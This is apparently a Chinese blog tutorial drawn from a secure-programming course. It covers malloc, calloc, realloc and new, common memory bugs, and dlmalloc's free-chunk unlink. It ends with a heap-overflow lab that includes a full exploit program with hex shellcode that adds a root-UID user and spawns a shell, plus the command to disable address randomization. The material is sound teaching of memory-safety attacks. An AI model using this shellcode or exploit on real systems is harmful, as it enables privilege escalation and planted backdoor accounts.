0%

C动态内存管理 | Malloc 的原理 | 堆溢出攻击

本文介绍如下内容

  • C/C++中动态内存语句使用如malloc等
  • 介绍dlmalloc 内存管理的实现
  • 利用dlmalloc的数据结构进行堆溢出攻击的原理
  • 堆溢出攻击实验

C/C++语言中动态内存语句的使用

内存分配

  • malloc (size_t size);

    • 分配size个字节的内存,并返回指向该内存的指针
    • 没有初始化所分配的内存
  • realloc (void *p, size_t size);

    • 将p指向的内存块大小改为size个字节

    • 新内配的内存没有初始化

    • p必须是以前调用malloc(),calloc()或者realloc()返回的结果,或者为空

      • p = NULL时,等价于malloc(size);
  • calloc (size_t nmemb, size_t size);

    • 为具有nmemb个元素的,元素大小为size的数组分配内存,返回指向分配数组的指针
    • 新分配的内存初始化为0
  • C++中的new的用法比较多,举个例子把

1
2
3
4
5
int *pi = new int//没有初始化
int *p = new int(5); //初始化为5
double *pd = new double(55.9);
int * arr1 = new int[10] //没有初始化
int * arr2= new int[10]{ 1,2,3 }; //前三个元素初始化为1,2,3

内存释放

  • free (void *p);

    • 释放p指向的内存空间,p必须是以前调用malloc(),calloc()或者realloc()返回的结果,或者为NULL

      • p = NULL时,不执行操作
    • 对已释放过的内存进行释放会导致危险的结果。所以一个好的编程习惯是把free后的指针设为NULL

  • delete和delete[]

    • 需要和new配对使用,之前的用new,则delete,之前的new [] ,则用delete[]

 

常见的坑

初始化问题

  • malloc不对分配的内存进行初始化,如果需要初始化,可以用calloc来分配,或者用memset()来初始化
  • 初始化错误可能导致信息泄露(Information Leak)

检查返回值错误

内存分配可能会失败,需要对失败的情况进行处理

1
2
3
4
5
6
7
int *p = (int *)malloc(sizeof(int) * 5);
if (p != NULL) {

}
else {

}

C++中new可以用try catch:

1
2
3
4
5
6
try {
int *pi = new int;
}
catch (bad_alloc) {

}

其它

  • 多次释放内存 如double free
1
2
3
4
int *x = (int *) malloc(n * sizeof(int));
free(x);
int *y = (int *) malloc(n * sizeof(int));
free(x);
  • 引用已经释放的内存

    • for (p = head; p != NULL; p = p->next) free(p);
    • 正确的应该为:
1
2
3
4
for (p = head; p != NULL; p = q) {
q = p->next;
free(p);
}
  • 内存管理函数需要匹配

    • malloc、calloc、realloc <-->free
    • new <--> delete
    • new[] <--> delete[]
  • malloc(0)

    • 与平台有关,有的返回长度为0的缓冲区(MSVC),有的返回NULL,
    • 应该避免这种,以及malloc(-1) 是malloc(2^32 - 1);
  • 内存泄漏(Memory Leak)

    • 已分配的没有被释放,最后可用的会使得可用内存越来越小,造成服务器宕机

 

dlmalloc 内存管理的实现

GNU C类库及大多数Linux版本将Doug Lea的malloc实现(dlmalloc)作为默认内存分配器,下面介绍dlmalloc中的内存管理

内存块分类

  • 在dlmalloc中,内存块有2类,已分配块和空闲块。

  • 空闲块通过双向链表形式组织起来

  • 在2类块中,都用一个PREV_INUSE位来标识上一个块是否已被分配

    • 1表示有分配,0表示没有分配
    • 因为malloc一定为偶数,所以拿最后一个位来标记
  • 它们的结构可以参考如下图:

    •    
  • 空闲的双向链表如下图

空闲块合并

调用free时,空闲块可能被合并:

  • 若该被释放的块上一块位空闲块,该会被空闲链表中解开并与被释放的块合并
  • 如果所释放的块的下一块为空闲块,也要被解开和合并

其所用的是Unlink宏操作,从双向链表中移除一个块

1
2
3
4
5
6
#define unlink(P,BK,FD){\
FD = P->fd;  \
BK = P->bk; \
FD->bk = BK;\
BK->fd = FD;\
}

如下图

堆缓冲区溢出攻击

  • 堆缓冲区溢出攻击比栈缓冲区溢出要难一些。堆溢出攻击常见的是通过破坏动态内存管理器所使用的数据结构,使得内存管理器在进行内存块操作时发生异常,最终导致执行攻击者提供的shellcode,如破坏数据结构来欺骗unlink宏。
  • 如下面的的代码中存在漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdlib.h>
#include<string.h>
int main(int argc,char *argv[]){
char *first, *second, *third;
first=malloc(666);
second=malloc(12);
third=malloc(12);
strcpy(first, argv[1]);
free(first);
free(second);
free(third);
return 0;
}
  • 在第9行free(first);时,如果下一块(程序中的第二块)内存没有被分配,那么free操作将会试图将其与第1块内存块合并。为此,需要检查第3块内存的PREV_INUSE标识。而当前块的下一块内存将其块大小作为偏移量使用

    • 于是攻击者输入668字节长度的以上数据,第1块内存将会堆溢出,使得第2块内存中的块管理数据被覆盖

      • 被溢出数据后覆盖的 第二个内存块构如下:

      • 由于大小为-4,于是系统认为其下一块内存从当前内存块前4个字节开始,就是even int处所对应的4个字节,而由于其为偶数,最低位(PREV_INUSE)为0,因此系统认为第2块内存块为空闲块,因此调用unlink宏进行移除空闲链表,并进行合并。

      •  重点来了,此时unlink操作为

        • FD = FUNCTION_POINTER-12; //这里的12为BK的偏移
        • BK = CODE_ADDRESS
        • FD->bk = (FD + 12) = (FUNCTION_POINTER) = BK = CODE_ADDRESS
        • 就是说*(FUNCTION_POINTER) = CODE_ADDRESS 就是 Write Anything to Anywhere!
        • 这里CODE_ADDRESS为shellcode地址,而FUNCTION_POINTER为要覆盖的函数指针地址! 比如free函数!

 

堆溢出攻击实验

实验环境

使用的系统为Read Hat Enterprise Linux 4在终端中输入cat /proc/version显示如下内核信息:

  • Linux version 2.6.9-5.EL ([email protected]) (gcc version 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)) #1 Wed Jan 5 19:22:18 EST 2005

为了完成这个实验首先关闭内存随机化

  • sysctl -w kernel.exec-shield-randomize=0

寻找地址

gcc -ggdb -o bugcode.o bugcode.c

然后输入objdump -R bugcode.o得到如图:

我们将free作为Function_pointer,根据上面的原理

Fd = Function_pointer -12 =  0X08049644 -12 = 0x08049638  (这里是减去十进制的12)

Bk = codeAddress = first address + 8 (+8 的原因是因为first前8个字节在free过程中会被覆盖)

代码构建

我们构建680的字节:

  • 前8个字节随意填充
  • shellcode(长度设置为X,这里的shellcode是创建用户名和密码都为ALI的用户)
  • 然后填充664-8-X个字节(随意)
  • 偶数整数
  • -4 补码为0xfffffffc
  • Fd 0x08049638
  • BK 0x0804a010

 

最终代码

根据上述的步骤,构建出如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>  
#include<stdlib.h>
/* add user ALI with password ALI*/
char shellcode[] = "22222222\x31\xc0\x31\xdb\x6a\x0f\x58\x68\x6a\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\xcd\x80\x6a\x0f\x58\x68\x6a\x64\x6f\x77\x5b\xc1\xeb\x08\x53\x68\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\xcd\x80\x6a\x05\x58\x68\x41\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\x68\x41\x41\x01\x04\x59\xc1\xe9\x08\xc1\xe9\x08\xcd\x80\x89\xc3\x6a\x04\x58\x68\x41\x73\x68\x0a\x59\xc1\xe9\x08\x51\x68\x6e\x2f\x62\x61\x68\x3a\x2f\x62\x69\x68\x72\x6f\x6f\x74\x68\x4c\x49\x3a\x2f\x68\x3a\x30\x3a\x41\x68\x4b\x2e\x3a\x30\x68\x66\x77\x55\x57\x68\x68\x70\x31\x50\x68\x7a\x59\x65\x41\x68\x41\x61\x41\x51\x68\x49\x38\x75\x74\x68\x50\x4d\x59\x68\x68\x54\x42\x74\x7a\x68\x51\x2f\x38\x54\x68\x45\x36\x6d\x67\x68\x76\x50\x2e\x73\x68\x4e\x58\x52\x37\x68\x39\x4b\x55\x48\x68\x72\x2f\x59\x42\x68\x56\x78\x4b\x47\x68\x39\x55\x66\x5a\x68\x46\x56\x6a\x68\x68\x46\x63\x38\x79\x68\x70\x59\x6a\x71\x68\x77\x69\x53\x68\x68\x6e\x54\x67\x54\x68\x58\x4d\x69\x37\x68\x2f\x41\x6e\x24\x68\x70\x55\x6e\x4d\x68\x24\x36\x24\x6a\x68\x41\x4c\x49\x3a\x89\xe1\xba\x41\x41\x41\x7f\xc1\xea\x08\xc1\xea\x08\xc1\xea\x08\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x59\x59\x59\x59\x68\x58\x58\x58\x58\x68\x2f\x73\x68\x42\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xb0\x01\xb3\x01\xcd\x80"
"22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222"
"\x22\x22\x22\x22"
"\xfc\xff\xff\xff"
"\x38\x96\x04\x08"
"\x10\xa0\x04\x08";

int main()
{
//(*(void(*)()) shellcode)();
char *first,*second,*third;
first=malloc(666);
second=malloc(12);
third=malloc(12);
memcpy(first,shellcode,sizeof(shellcode));
free(first);
free(second);
free(third);
return 0;
}

几点说明:

  • 这里为了方便实验,直接把shellcode设为数组,而不是原来的argv[1],然后使用的是memcpy函数
  • 最后那个even int为了方便gdb查看,填充的是

查看代码效果

  • gcc -ggdb -z execstack -g -o a test.c
  • gdb a

用gdb设置断点,然后查看second附近的内存

覆盖前

覆盖后

由于上面代码的shellcode是创建用户名和密码都为ALI的用户,我们可以用如下的命令查看效果:

  • tail /etc/passwd

运行前

  • ./a

运行后

实际上,上面的代码中malloc(668)同样能执行^ ^

参考资料

  • RUC 《程序设计安全》 - 梁彬
请我喝杯咖啡吧~